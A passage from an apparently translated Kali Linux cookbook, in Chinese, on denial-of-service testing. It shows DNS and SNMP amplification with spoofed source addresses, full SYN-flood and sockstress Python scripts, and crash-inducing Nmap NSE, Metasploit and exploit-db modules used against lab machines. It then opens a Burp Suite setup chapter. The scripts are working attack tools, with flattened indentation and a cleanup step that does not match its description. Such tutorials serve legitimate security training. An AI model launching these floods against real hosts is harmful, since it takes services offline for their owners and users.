为了模拟 DNS 放大攻击，您需要有一个本地的名称服务器或知道一个开放且可以公开访问的名称服务器的 IP 地址。在提供的示例中，使用的是 Ubuntu 安装作为扫描目标。有关 Ubuntu 设置的更多信息，请参阅 第一章中的 安装 Windows Server 配方，入门指南。

如何操作…

要执行 DNS 放大攻击，请按照以下步骤操作：

1. 为了理解 DNS 放大是如何工作的，可以使用基本的 DNS 查询工具，如 host、dig 或 nslookup：

2. 通过执行对某一知名域名所有记录类型的请求，您会注意到某些返回了相当大的响应：

1. 在提供的示例中，针对 yahoo.com 域名请求所有记录类型的查询返回的响应包括七个 A 记录、三个 AAAA 记录、五个 NS 记录和三个 MX 记录。DNS 放大攻击的有效性与响应的大小直接相关。我们现在将尝试使用 Scapy 构建的数据包执行相同的操作。

2. 要发送我们的 DNS 查询请求，我们必须首先构建该请求的各个层级。我们需要构建的第一层是 IP 层：

1. 为了构建请求的 IP 层，我们应该将 IP 对象赋值给变量 i。通过调用 display() 函数，我们可以识别该对象的属性配置。默认情况下，发送和接收地址都设置为 127.0.0.1 的回送地址。通过设置 i.dst 为要查询的名称服务器的地址字符串，可以修改这些值。

2. 通过再次调用 display() 函数，我们可以看到不仅目标地址已经更新，Scapy 还会自动将源 IP 地址更新为与默认接口关联的地址。

3. 现在我们已经构建了请求的 IP 层，接下来应该继续构建下一层。由于 DNS 是通过 UDP 处理的，下一层要构建的是 UDP 层：

1. 为了构建请求的 UDP 层，我们将使用与构建 IP 层相同的技术。在提供的示例中，UDP对象被分配给了u变量。如前所述，可以通过调用display()函数来识别默认配置。

2. 在这里，我们可以看到源端口和目标端口的默认值都列为domain。如你所猜测的那样，这是为了指示与端口53相关的 DNS 服务。DNS 是一种常见的服务，通常可以在网络系统中发现。要确认这一点，可以通过引用变量名和属性直接调用该值。

3. 现在 IP 和 UDP 层已经构建完成，我们需要构建 DNS 层：

1. 为了构建请求的 DNS 层，我们将使用与构建 IP 层和 UDP 层相同的技术。在提供的示例中，DNS对象被分配给了d变量。如前所述，可以通过调用display()函数来识别默认配置。在这里，我们可以看到有几个值需要修改：

1. 递归所需位需要激活；这可以通过将rd值设置为1来完成。此外，qdcount需要提供0x0001的值；这可以通过提供整数值1来实现。通过再次调用display()函数，我们可以验证配置调整是否已完成。

2. 现在 IP、UDP 和 DNS 层已经构建完成，我们需要构建一个 DNS 查询记录并分配给qd值：

1. 为了构建 DNS 查询记录，我们将使用与构建 IP、UDP 和 DNS 层相同的技术。在提供的示例中，DNS 查询记录被分配给了q变量。如前所述，可以通过调用display()函数来识别默认配置。在这里，我们可以看到有几个值需要修改：

1. qname值需要设置为正在查询的域名。此外，qtype需要通过传递整数值255来设置为ALL。通过再次调用display()函数，我们可以验证配置调整是否已完成。

2. 现在查询记录已经配置完成，查询记录对象应该被分配为 DNS 的qd值：

1. 我们可以通过调用display()函数来验证查询记录是否已分配给 DNS 的qd值。现在，IP、UDP 和 DNS 层已经构建完成，且相应的查询记录已分配给 DNS 层，我们可以通过堆叠这些层来构建请求：

1. IP、UDP 和 DNS 层可以通过用正斜杠分隔变量来堆叠。这些层然后可以设置为一个新的变量，该变量将表示整个请求。然后可以调用 display() 函数来查看请求的配置。

2. 在发送此请求之前，我们应该以与查看响应相同的显示格式查看它。通过这样做，我们可以更清晰地理解请求和响应之间的放大过程。这可以通过直接调用变量来实现：

1. 一旦请求构建完成，就可以将其传递给发送（send()）和接收（recv()）函数，以便分析响应。我们不会将其赋值给变量，而是直接调用该函数，以便响应能够以相同的格式显示：

1. 响应确认我们已成功构建了期望的请求，并已请求到一个包含七个 A 记录、三个 AAAA 记录、五个 NS 记录和三个 MX 记录的庞大有效负载，且这些记录属于 yahoo.com 域名。

2. 这个练习明确表明，此请求的响应比请求本身大得多。为了使这一放大攻击有效，它需要通过伪造源 IP 地址将流量重定向到我们的目标：

1. 在将源 IP 地址值重新定义为目标系统的 IP 地址的字符串等效项后，我们可以使用 display() 函数确认该值已被调整。然后，我们可以重新构建带有此更改的请求。为了验证我们是否能够将 DNS 查询响应重定向到这个伪造的主机，我们可以使用 tcpdump 命令在主机上启动一个 TCP 抓包，正如下图所示：

1. 在提供的示例中，tcpdump 配置将捕获所有通过 eth0 接口的流量，源地址为 192.168.68.2（即被查询的 DNS 服务器的地址）。然后，我们可以使用 send() 函数发送我们的请求：

1. 发送请求后，我们应回到 tcpdump 内容中，验证 DNS 查询的响应是否返回到了受害服务器：

1. 实际上，整个执行 DNS 放大攻击的过程可以通过在 Scapy 中执行一条单行命令来完成。此命令使用了我们在之前练习中讨论的所有相同的值。然后，可以修改计数值来定义希望发送到受害服务器的有效负载响应数量：

它是如何工作的…

放大攻击通过利用一个或多个第三方设备，向目标系统发送大量网络流量，从而使目标被压垮。对于大多数放大攻击，以下两个条件是成立的：

• 执行攻击所使用的协议不会验证请求源。网络功能的响应应明显大于用来请求的请求数据包。

• DNS 放大攻击的效果与 DNS 查询响应的大小直接相关。此外，通过使用多个 DNS 服务器，攻击的威力也可以得到增强。

SNMP 放大 DoS 攻击

SNMP 放大攻击利用具有可预测社区字符串的 SNMP 设备，通过伪造查询并返回大响应来进行攻击。通过使用 DDoS 组件以及同时向多个 SNMP 设备发送请求，可以提高此攻击的效果。

准备工作

为了模拟 SNMP 放大攻击，您需要一个启用 SNMP 的设备。在提供的示例中，使用了 Windows XP 设备。有关设置 Windows 系统的更多信息，请参阅第一章中的 安装 Windows Server 章节，入门。此外，还使用了安装了 Ubuntu 的设备作为扫描目标。有关设置 Ubuntu 的更多信息，请参阅第一章中的 安装 Ubuntu Server 章节，入门。

如何执行…

要执行 SNMP 放大攻击，请按照以下步骤操作：

1. 为了开始，我们需要构造一个 SNMP 查询，以返回到我们的系统来评估所使用的有效载荷的大小。要发送我们的 SNMP 查询请求，首先需要构建该请求的各层。我们需要构建的第一层是 IP 层：

1. 要构建请求的 IP 层，我们应将 IP 对象分配给变量 i。通过调用 display() 函数，我们可以识别该对象的属性配置。默认情况下，发送和接收地址都设置为回环地址 127.0.0.1。这些值可以通过设置 i.dst 为要查询的名称服务器的地址的字符串值来修改目标地址。再次调用 display() 函数，我们可以看到，不仅目标地址已更新，Scapy 还会自动将源 IP 地址更新为与默认接口关联的地址。

2. 现在我们已经构建了请求的 IP 层，接下来应该构建下一层。由于 SNMP 是通过 UDP 处理的，接下来要构建的层是 UDP 层：

1. 为了构建我们请求的 UDP 层，我们将使用与 IP 层相同的技术。在提供的示例中，UDP对象被分配给了u变量。如前所述，默认配置可以通过调用display()函数来识别。在这里，我们可以看到源端口和目标端口的默认值都列为domain。正如你可能猜到的，这表示与端口53相关的 DNS 服务。这个值需要更改为与 SNMP 相关的端口：

1. 为了将源端口和目标端口更改为 SNMP，应该传递整数值161；这个值对应于与该服务相关的 UDP 端口。通过再次调用display()函数，可以验证这些更改。现在，IP 和 UDP 层已经构建完成，我们需要构建 SNMP 层：

1. 为了构建我们请求的 SNMP 层，我们将使用与 IP 和 UDP 层相同的技术。在提供的示例中，SNMP对象被分配给了snmp变量。如前所述，默认配置可以通过调用display()函数来识别。现在，IP、UDP 和 SNMP 层已经构建完成，我们需要构建一个 bulk 请求来替代默认分配给 PDU 值的 SNMP GET请求：

1. 为了构建SNMPbulk()请求，我们将使用与 IP、UDP 和 SNMP 层相同的技术。在提供的示例中，SNMPbulk()请求被分配给了bulk变量。如前所述，默认配置可以通过调用display()函数来识别。在这里，我们可以看到有几个值需要修改：

1. SNMP varbindlist需要修改，以包括查询的oid值。此外，max_repetitions被分配了整数值50。现在，bulk 请求已经配置完成，bulk 请求对象应该作为 SNMP PDU 值进行分配：

1. 我们可以通过调用display()函数来验证 bulk 请求是否已分配给 SNMP PDU 值。现在，IP、UDP 和 SNMP 层已经构建完成，bulk 请求也已配置并分配给了 SNMP 层，我们可以通过堆叠这些层来构建请求：

1. IP、UDP 和 SNMP 层可以通过使用正斜杠分隔变量来堆叠。这些层可以被设置为一个新变量，该变量将表示整个请求。然后，可以调用display()函数来查看请求的配置。一旦请求构建完成，可以将其传递给send和receive函数，以便我们可以分析响应：

1. 响应确认我们已经成功构建了期望的请求，并且与最初发出的相对较小的请求相比，我们已经请求了一个相当大的有效负载。这个整个过程也可以通过在 Scapy 中使用一个简单的一行命令来执行。这个命令使用了我们在前一个练习中讨论的所有相同的值：

1. 为了实际使用此命令进行攻击，源 IP 地址需要更改为目标系统的 IP 地址。通过这样做，我们应该能够将有效负载重定向到那个受害者。这可以通过将 IP src 值更改为目标 IP 地址的字符串等效项来完成：

1. send() 函数应该用来发送这些伪造的请求，因为不期望在本地接口上返回任何响应。为了确认有效负载确实到达了目标系统，可以使用 tcpdump 命令捕获传入的流量：

1. 在提供的示例中，tcpdump 被配置为捕获从源 IP 地址 172.16.69.129（SNMP 主机的 IP 地址）发出的流量，该流量通过 eth0 接口传输。

如何运作……

放大攻击通过利用一个或多个第三方设备，用大量的网络流量压倒目标。对于大多数放大攻击，两个条件是成立的：

• 执行攻击的协议不会验证请求的源。所使用的网络功能的响应应该显著大于请求所发出的请求。

• SNMP 放大攻击的有效性与 SNMP 查询响应的大小直接相关。此外，通过使用多个 SNMP 设备，可以增强攻击的威力。

SYN 洪水 DoS 攻击

SYN 洪水 DoS 攻击是一种资源消耗型攻击。它通过向与攻击目标服务相关的远程端口发送大量的 TCP SYN 请求来工作。对于每一个收到的初始 SYN 数据包，目标服务将发送一个 SYN+ACK 数据包，并保持连接以等待来自发起客户端的最终 ACK 数据包。通过用这些半开请求压倒目标，攻击者可以使服务无法响应。

准备工作

要使用 Scapy 对目标进行完整的 SYN 洪泛攻击，您需要有一个远程系统，该系统正在通过 TCP 运行网络服务。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关设置 Metasploitable2 的更多信息，请参阅第一章中的安装 Metasploitable2食谱，入门。此外，本节还需要编写一个脚本到文件系统中，可以使用 Vim 或 GNU nano 等文本编辑器进行编写。有关编写脚本的更多信息，请参阅第一章中的使用文本编辑器（Vim 和 GNU nano）食谱，入门。

如何操作……

要使用 Scapy 执行 SYN 洪泛攻击，请按照给定的步骤操作：

1. 我们需要通过向与目标服务关联的端口发送 TCP SYN 请求来开始。为了向任何给定端口发送 TCP SYN 请求，我们必须先构建该请求的各个层。我们需要构建的第一层是 IP 层：

1. 要构建我们请求的 IP 层，我们应该将IP对象赋值给变量i。通过调用display()函数，我们可以识别该对象的属性配置。默认情况下，发送和接收地址都设置为127.0.0.1的回送地址。通过修改目的地址，将i.dst设置为我们希望扫描的地址的字符串值，可以更改这些值。再次调用display()函数时，我们可以看到，不仅目的地址已更新，Scapy 还会自动更新源 IP 地址为与默认接口相关联的地址。

2. 现在我们已经构建了请求的 IP 层，我们应该继续构建 TCP 层：

1. 要构建我们请求的 TCP 层，我们将使用与构建 IP 层时相同的技术。在提供的示例中，TCP对象被赋值给t变量。如前所述，通过调用display()函数可以识别默认配置。在这里，我们可以看到目的端口的默认值是 HTTP 端口80。对于我们的初步扫描，我们将保持默认的 TCP 配置不变。

2. 现在我们已经创建了 IP 层和 TCP 层，我们需要通过堆叠这些层来构建请求：

1. IP 层和 TCP 层可以通过使用斜杠分隔变量来堆叠。然后，这些层可以被设置为一个新的变量，该变量将表示整个请求。接着可以调用display()函数来查看请求的配置。

2. 一旦请求构建完成，可以将其传递给send和receive函数，以便我们可以分析响应：

1. 相同的请求可以不必独立构建和堆叠每一层。相反，可以使用单行命令，通过直接调用函数并传递适当的参数来执行：

1. SYN 洪水的效果取决于在给定时间内能够生成的 SYN 请求的数量。为了提高此攻击序列的效果，我编写了一个多线程脚本，可以执行尽可能多的 SYN 数据包注入并发进程，具体取决于攻击系统的处理能力：

        #!/usr/bin/python

        from scapy.all import *
        from time import sleep
        import thread
        import random
        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

        if len(sys.argv) != 4:
        print "Usage - ./syn_flood.py [Target-IP]
         [Port Number] [Threads]"
        print "Example - ./syn_flood.py 10.0.0.5 80 20"
        print "Example will perform a 20x multi-threaded
         SYN flood attack"
        print "against the HTTP (port 80) service on 10.0.0.5"
        sys.exit()

        target = str(sys.argv[1])
        port = int(sys.argv[2])
        threads = int(sys.argv[3])

        print "Performing SYN flood. Use Ctrl+C to stop attack."
        def synflood(target,port):
        while 0 == 0:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)

        for x in range(0,threads):
        thread.start_new_thread(synflood, (target,port))

        while 0 == 0:
        sleep(1)

1. 脚本在执行时接受三个参数。这些参数包括目标 IP 地址、SYN 洪水将发送到的端口号，以及用于执行 SYN 洪水的线程数或并发进程数。

2. 每个线程开始时会生成一个介于 0 和 65,535 之间的整数值。这个范围代表可以分配给源端口的所有可能值。TCP 头中定义源端口和目标端口地址的部分都是 16 位长。每个比特位可以保持1或0的值。

3. 因此，存在 2¹⁶，即 65,536 个可能的 TCP 端口地址。单个源端口只能保持一个半开放连接，因此通过为每个 SYN 请求生成唯一的源端口地址，我们可以大大提高攻击的性能：

1. 当脚本在没有任何参数的情况下执行时，使用方法将返回给用户。在提供的示例中，脚本随后将针对托管在172.16.69.128的80号 TCP 端口的 HTTP Web 服务进行执行，并且使用20个并发线程。

2. 脚本本身提供的反馈很少；然而，可以运行诸如 Wireshark 或 TCPdump 这样的流量捕获工具来验证连接是否正在发送。经过短暂的一段时间后，尝试连接到服务器的过程将变得非常缓慢，甚至完全无响应。

它是如何工作的…

TCP 服务只允许建立有限数量的半开放连接。通过快速发送大量的 TCP SYN 请求，这些可用的连接会被耗尽，服务器将无法再接受新的连接。因此，服务将对新的用户完全不可用。如果将此攻击作为 DDoS 攻击并让多个攻击系统同时执行该脚本，攻击的效果可以进一步增强。

Sock stress DoS 攻击

Sock stress DoS 攻击包括建立一系列到目标服务的 TCP 端口的开放连接。TCP 握手中的最终 ACK 响应应该为0。

准备工作

要使用 Scapy 对目标执行 sock stress DoS 攻击，您需要有一台运行 TCP 网络服务的远程系统。在提供的示例中，使用了 Metasploitable2 实例来执行此任务。有关如何设置 Metasploitable2 的更多信息，请参考第一章的 安装 Metasploitable2 章节， 入门。此外，本节还需要编写脚本并保存到文件系统中，您可以使用 Vim 或 GNU nano 等文本编辑器来进行编辑。有关编写脚本的更多信息，请参考第一章的 使用文本编辑器（Vim 和 GNU nano） 章节， 入门。

如何操作…

要执行 sock stress DoS 攻击，请按照以下步骤进行：

1. 以下脚本使用 Scapy 编写，用于对目标系统执行 sock stress DoS 攻击。以下脚本可用于测试易受攻击的服务：

        #!/usr/bin/python

        from scapy.all import *
        from time import sleep
        import thread
        import logging
        import os
        import signal
        import sys
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

        if len(sys.argv) != 4:
        print "Usage - ./sock_stress.py [Target-IP]
         [Port Number] [Threads]"
        print "Example - ./sock_stress.py 10.0.0.5 21 20"
        print "Example will perform a 20x multi-threaded
         sock-stress DoS attack "
        print "against the FTP (port 21) service on 10.0.0.5"
        print "n***NOTE***"

        print "Make sure you target a port that responds
         when a connection is made"
        sys.exit()

        target = str(sys.argv[1])
        dstport = int(sys.argv[2])
        threads = int(sys.argv[3])

        ## This is where the magic happens
        def sockstress(target,dstport):
        while 0 == 0:
        try:
        x = random.randint(0,65535)
        response = sr1(IP(dst=target)
        /TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)             send(IP(dst=target)
        /TCP(dport=dstport,sport=x,window=0,flags='A',
        ack=(response[TCP].seq + 1))/'x00x00',verbose=0)
        except:
        pass

        ## Graceful shutdown allows IP Table Repair
        def graceful_shutdown(signal, frame):
        print 'nYou pressed Ctrl+C!'
        print 'Fixing IP Tables'
        os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '
         + target + ' -j DROP')
        sys.exit()

        ## Creates IPTables Rule to Prevent Outbound RST Packet
         to Allow Scapy TCP Connections
        os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '
         + target + ' -j DROP')
        signal.signal(signal.SIGINT, graceful_shutdown)

        ## Spin up multiple threads to launch the attack
        print "nThe onslaught has begun...use Ctrl+C to
         stop the attack"
        for x in range(0,threads):
        thread.start_new_thread(sockstress, (target,dstport))

        ## Make it go FOREVER (...or at least until Ctrl+C)
        while 0 == 0:
        sleep(1)

1. 请注意，该脚本有两个主要功能：sockstress 攻击功能和一个独立的优雅关闭功能。需要一个单独的关闭功能，因为为了让脚本正常工作，脚本必须修改本地的 IPtables 规则。为了使用 Scapy 完成与远程主机的 TCP 连接，这一修改是必要的。这个问题在第四章的 使用 Scapy 进行连接扫描 中有更详细的说明， 端口扫描。

2. 在执行脚本之前，我们可以使用 netstat 和 free 工具来获取已建立连接和内存使用的基准值：

1. 通过使用 netstat，然后将输出通过管道传递给 grep 函数并提取出已建立的连接，我们可以看到只有两个连接存在。我们还可以使用 free 工具查看当前的内存使用情况。-m 选项将以兆字节为单位返回数值。

2. 在确定了已建立连接和可用内存的基准值后，我们可以对该目标服务器发起攻击：

1. 当在没有任何参数的情况下执行脚本时，脚本将返回预期的语法和使用方法。该脚本在执行时接受三个参数。这些参数包括目标 IP 地址、将接收 sock stress DoS 的端口号以及用于执行 sock stress DoS 的线程数或并发进程数。

2. 每个线程开始时生成一个介于 0 和 65,535 之间的整数值。这个范围代表可以分配给源端口的所有可能值。TCP 头中定义源端口和目标端口地址的部分都是 16 位长。每个比特位可以保存1或0的值。因此，存在 2¹⁶或 65,536 个可能的 TCP 端口地址。单一的源端口只能保持一个连接，因此，通过为每个连接生成唯一的源端口地址，我们可以大大提高攻击的性能。

3. 一旦攻击开始，我们可以通过检查已在目标服务器上建立的活动连接来验证它是否有效：

1. 执行脚本后几秒钟，我们可以看到已建立的连接数量急剧增加。这里显示的输出已被截断，实际的连接列表比这长得多。通过持续使用free工具，我们可以看到系统的可用内存逐渐耗尽。当内存空闲值降到几乎为零时，空闲的缓冲区/缓存空间将开始下降：

1. 在本地系统的所有资源被耗尽后，系统将最终崩溃。完成此过程所需的时间将根据本地资源的数量而有所不同。在这里提供的演示案例中，攻击发生在一台具有 512 MB 内存的 Metasploitable 虚拟机上，攻击大约花费了 2 分钟来耗尽所有本地资源并使服务器崩溃。

2. 在服务器崩溃后，或者在任何时候你希望停止 DoS 攻击时，可以按Ctrl + C：

1. 该脚本旨在捕获由于按下Ctrl + C键而传输的终止信号，并通过删除在终止脚本执行序列之前生成的规则来修复本地 iptables。

工作原理…

在 sock stress DoS 攻击中，三次握手中的最终 ACK 数据包包含一个窗口值为0。易受攻击的服务由于连接客户端发出的空窗口指示，不会响应任何数据。相反，服务器会将待传输的数据保存在内存中。通过使用这些连接对服务器进行洪泛攻击，会消耗服务器的资源，包括内存、交换空间和处理能力。

使用 Nmap NSE 执行 DoS 攻击

Nmap 脚本引擎（NSE）拥有众多脚本，可以用来执行 DoS 攻击。本示例将演示如何定位 DoS NSE 脚本，识别脚本的使用方法，并执行它们。

准备工作

要使用 Nmap NSE 进行 DoS 攻击，您需要有一个运行易受攻击服务的系统，该服务由 Nmap NSE DoS 脚本中的一个脚本处理。在提供的示例中，使用了 Windows XP 实例。有关如何设置 Windows 系统的更多信息，请参见第一章中的安装 Windows Server配方，入门部分。

如何操作…

以下是演示使用 Nmap NSE 进行 DoS 攻击的步骤：

1. 在使用 Nmap NSE 脚本进行 DoS 测试之前，我们需要先确认可用的 DoS 脚本。在 Nmap NSE 脚本目录下，有一个可供搜索的script.db文件，可以用来识别任何给定类别中的脚本：

1. 通过在script.db文件中搜索 DoS 并将输出结果通过cut函数过滤，我们可以提取出可以使用的脚本。通过阅读其中一个脚本的开头，我们通常可以找到很多有用的信息：

1. 要从头到尾阅读脚本，我们应该在文件上使用cat命令，然后将输出传递给more工具。脚本的前部分描述了它所利用的漏洞以及系统易受攻击的条件。它还解释了该漏洞会导致蓝屏死机（BSOD）DoS。继续向下滚动，我们可以找到更多有用的信息：

1. 在脚本的进一步部分，我们可以找到有关脚本使用说明及可提供的参数的信息。它还提供了有关其利用的漏洞的额外细节。要执行该脚本，我们需要在 Nmap 中使用--script选项：

1. 在提供的示例中，Nmap 被指示只扫描 TCP 端口445，这是与漏洞相关的端口。--script选项与指定要使用的脚本参数一起使用。传递一个单一的脚本参数表示可以接受不安全扫描。

2. 这个参数被描述为一个安全开关，用于授权 DoS 攻击。在 Nmap 中执行脚本后，输出结果表明系统易受该攻击。回顾 Windows XP 机器，我们可以看到 DoS 攻击成功，导致了蓝屏死机（BSOD）：

它是如何工作的…

本练习中演示的 Nmap NSE 脚本是一个缓冲区溢出攻击的示例。一般来说，缓冲区溢出能够导致服务拒绝，因为它们可能导致任意数据被加载到不正确的内存段。这会干扰执行流程，导致服务或操作系统崩溃。

使用 Metasploit 进行 DoS 攻击

Metasploit 框架有许多辅助模块脚本可以用来执行 DoS 攻击。本配方将演示如何定位 DoS 模块，识别模块的使用方法并执行它们。

准备工作

要使用 Metasploit 执行 DoS 攻击，你需要有一个运行着易受攻击服务的系统，该服务由 Metasploit DoS 辅助模块中的某个模块处理。在提供的示例中，使用了一个 Windows XP 实例作为目标。有关设置 Windows 系统的更多信息，请参见第一章中的安装 Windows Server配方，入门指南。

操作步骤…

以下步骤演示了如何使用 Metasploit 执行 DoS 攻击：

1. 在使用 Metasploit 辅助模块进行 DoS 测试之前，我们需要识别可用的 DoS 模块。通过浏览 Metasploit 目录树，可以识别相关的模块：

1. 通过浏览到/modules/auxiliary/dos目录，我们可以看到各种 DoS 模块的类别。在提供的示例中，我们浏览到了包含 Windows HTTP 拒绝服务攻击的目录：

1. 该漏洞允许远程未认证的攻击者迫使 IIS 服务器变得无响应，直到管理员手动重启 IIS 服务。要求 IIS 托管活动服务器页面，并且一个 ASP 脚本需要读取一个 POST 表单值。

2. 要从上到下读取脚本，我们应使用cat命令打开文件，并将输出通过管道传递给more工具。脚本的顶部描述了它所利用的漏洞以及系统易受攻击所需的条件。我们还可以在 Metasploit 框架控制台中识别潜在的 DoS 漏洞利用。要访问此功能，在终端中输入msfconsole：

1. 一旦打开，可以使用search命令配合搜索词来识别可能的漏洞利用：

1. 在提供的示例中，搜索词dos被用来查询数据库。返回了一系列辅助 DoS 模块，并且为每个模块都包含了相对路径。这个相对路径可以用来缩小搜索结果的范围：

1. 在查询/dos/windows/smb的相对路径后，返回的唯一结果是该目录中的 DoS 模块。目录组织得很好，可以用来有效地搜索与特定平台或服务相关的漏洞。确定了要使用的漏洞后，我们可以用use命令以及模块的相对路径来选择它：

1. 选择模块后，可以使用 show options 命令来识别和/或修改扫描配置。该命令将显示四个列标题：Name、Current Setting、Required 和 Description：

   • Name 列标识每个可配置变量的名称。

   • Current Setting 列列出任何给定变量的现有配置。

   • Required 列标识是否需要为任何给定变量提供值。

   • Description 列描述每个变量的功能。任何给定变量的值可以使用 set 命令进行更改，并通过提供新的值作为参数：

1. 在提供的示例中，RHOST 的值被更改为我们希望扫描的远程系统的 IP 地址。更新必要的变量后，可以再次使用 show options 命令来验证配置。一旦所需的配置得到验证，就可以使用 run 命令启动模块：

1. 执行 Metasploit DoS auxiliary 模块后，将返回一系列消息，指示已经执行了一系列恶意的 SMB 事务，并返回最终消息，指示模块执行完成。通过查看已经崩溃并显示蓝屏死机（BSOD）的 Windows XP 系统，可以验证攻击是否成功：

它是如何工作的…

本练习中演示的 Metasploit DoS auxiliary 模块是一个缓冲区溢出攻击的示例。一般来说，缓冲区溢出能够导致服务拒绝，因为它们可能会导致任意数据被加载到不预期的内存区域。这会干扰执行流程并导致服务或操作系统崩溃。

使用漏洞数据库进行 DoS 攻击

漏洞数据库是一个公开发布的漏洞集合，涵盖所有类型的平台和服务。漏洞数据库中包含大量漏洞，可用于执行 DoS 攻击。本特定方案将演示如何在漏洞数据库中定位 DoS 漏洞，识别漏洞的使用方法，进行必要的修改并执行它们。

准备工作

要使用漏洞数据库执行 DoS 攻击，您需要有一个运行有 Metasploit DoS 辅助模块所涉及的漏洞服务的系统。在提供的示例中，使用了 Windows XP 实例来完成此任务。有关设置 Windows 系统的更多信息，请参阅 第一章 中的 安装 Windows Server 配方，入门指南。

如何操作…

要使用漏洞数据库执行 DoS 攻击，请按照以下步骤进行：

1. 在使用漏洞数据库进行 DoS 测试之前，我们需要确认哪些 DoS 漏洞可用。完整的漏洞数据库可以在线找到，网址为www.exploit-db.com。另外，也可以在 Kali Linux 文件系统中找到本地副本。exploitdb目录中有一个files.csv文件，里面包含了所有内容的目录。可以使用该文件通过grep查找关键词，帮助定位可用的漏洞：

1. 在提供的示例中，grep函数被用来在files.csv文件中搜索任何可以通过单词SMB识别的漏洞数据库内容。还可以通过将输出传送到另一个grep函数来进一步缩小搜索范围，查找额外的术语：

1. 在提供的示例中，依次使用了两个独立的grep函数来搜索与 SMB 服务相关的任何 DoS 漏洞：

1. 我们可以继续将搜索结果缩小到尽可能具体。在提供的示例中，我们查找了与 SMB 服务相关的任何 Python DoS 脚本，但排除了针对 Windows 7 平台的脚本。grep中的-v选项可用于从结果中排除某些内容。通常，最好将所需的漏洞复制到另一个位置，以免修改漏洞数据库目录中的内容：

1. 在提供的示例中，为脚本创建了一个新的目录。然后，脚本从可以通过漏洞数据库目录位置推断出的绝对路径以及在files.csv文件中定义的相对路径中复制过来。一旦重新定位，脚本可以使用cat命令从头到尾读取，然后将脚本内容通过管道传送到more工具：

1. 与 NSE 脚本和 Metasploit 辅助模块不同，漏洞数据库中的脚本没有标准化格式。因此，使用这些漏洞有时会比较棘手。尽管如此，简要检查脚本的内容，查看是否有注释或使用说明，通常是很有帮助的。在提供的示例中，我们可以看到脚本的使用方式列在脚本内容中，如果没有提供适当数量的参数，也会输出到用户：

2. 评估后，脚本可以按如下方式执行：

1. 然而，在尝试执行脚本后，我们可以看到出现了一些问题。由于缺乏标准化，并且某些脚本仅为概念验证，通常需要对这些脚本进行调整：

1. 当脚本出错后，我们需要返回到文本编辑器，尝试找出错误的来源。第一个错误表明脚本开头列出的 Python 解释器的位置有问题。必须更改为指向 Kali Linux 文件系统中的解释器：

1. 解决每个问题后重新尝试运行脚本通常是一个好主意，因为有时解决一个问题会消除多个执行错误。在这种情况下，修改了 Python 解释器的位置后，我们成功地运行了脚本：

1. 当脚本运行时，会返回几个消息以识别脚本执行的进度。最终的消息表明恶意负载已被传送，服务器应该已经崩溃。可以通过查看已崩溃并显示蓝屏死机（BSOD）的 Windows 服务器来验证脚本的成功：

它是如何工作的……

本练习中演示的漏洞利用数据库 DoS 脚本是一个缓冲区溢出攻击的示例。一般来说，缓冲区溢出能够导致拒绝服务，因为它们可能会导致任意数据被加载到不正确的内存段中。这会干扰执行流程，并导致服务或操作系统崩溃。

第八章：使用 Burp Suite 工作

在本章中，我们将探索以下步骤：

• 在 Kali Linux 上配置 Burp Suite

• 使用 Burp Suite 定义一个 Web 应用程序目标

• 使用 Burp Suite Spider

• 使用 Burp Suite 代理

• 使用 Burp Suite 参与工具

• 使用 Burp Suite Web 应用程序扫描器

• 使用 Burp Suite Intruder

• 使用 Burp Suite 比较器

• 使用 Burp Suite Repeater

• 使用 Burp Suite 解码器

• 使用 Burp Suite Sequencer

• 使用 Burp Suite 扩展程序

• 使用 Burp Suite Clickbandit

简介

Burp Suite 是一套集成工具，用于测试 Web 应用程序。虽然大多数工具在免费版本中都可用，但某些自动化和扫描功能需要专业版，这个升级的费用是非常值得的。个人而言，我认为它是测试 Web 应用程序时不可或缺的工具。

在 Kali Linux 上配置 Burp Suite

Burp Suite 代理是目前最强大的 Web 应用程序审计工具之一。但是，这并不是一个可以轻松启动的工具。必须修改 Burp Suite 应用程序和关联的 Web 浏览器中的配置，以确保彼此之间的正常通信。

准备工作

在 Kali Linux 中首次执行 Burp Suite 无需任何操作。免费版本是一个集成工具，已经安装好了。或者，如果选择使用专业版，可以在 pro.portswigger.net/buy/ 购买许可证。

许可证价格相对较低，而且附加功能是非常值得的。但是，免费版本仍然非常有用，并且在用户的大多数核心功能中没有任何费用。

如何做…

让我们通过以下步骤在 Kali Linux 上配置 Burp Suite：

1. Burp Suite 是一个 GUI 工具，需要访问图形桌面才能运行。因此，它不能通过 SSH 使用。在 Kali Linux 中启动 Burp Suite 有两种方法。您可以通过导航到应用程序菜单中的 Applications | Kali Linux | Top 10 Security Tools | burpsuite 来浏览到它。或者，您可以通过在 bash 终端中传递给 Java 解释器来执行它，如下所示：

 root@kali:~# java -jar /usr/bin/burpsuite

1. 当您启动 Burp Suite 时，将询问您是否要使用临时项目、磁盘上的新项目或打开现有项目。对于我们现在的目的，让我们使用默认的临时项目选项：

1. 当要求选择配置时，请选择使用 Burp 默认设置：

1. 一旦 Burp Suite 载入，确保代理监听器处于活动状态，并在所需端口上运行。在提供的示例中，使用 TCP 端口 8080。可以通过选择 Proxy 标签，然后在其下方选择 Options 标签来验证这些配置，如下面的截图所示：

在这里，你会看到所有代理监听器的列表。如果没有任何监听器，添加一个。要在 Kali Linux 中与 Mozilla Firefox 浏览器一起使用它，请将监听器配置为在127.0.0.1地址上的专用端口上监听。同时，确保激活“运行”复选框。在 Burp Suite 中配置完监听器后，你还需要修改 Mozilla Firefox 浏览器的配置，使流量通过代理转发。

1. 为此，点击侧边栏顶部的 Firefox 图标打开 Mozilla Firefox。打开后，展开下拉菜单，点击“偏好设置”以获得以下截图：

在 Mozilla Firefox 的偏好设置菜单中，点击菜单底部的“高级选项”按钮，然后选择“网络”标签。

1. 然后，点击“连接”标题下的“设置”按钮。这将弹出“连接设置”配置菜单，如下图所示：

默认情况下，代理单选按钮设置为“使用系统代理设置”。需要将其更改为“手动代理配置”。手动代理配置应该与 Burp Suite Proxy 监听器配置相同。在提供的示例中，HTTP 代理地址设置为127.0.0.1，端口值设置为 TCP 8080。要捕获其他流量（如 HTTPS），请勾选“将此代理服务器用于所有协议”复选框。

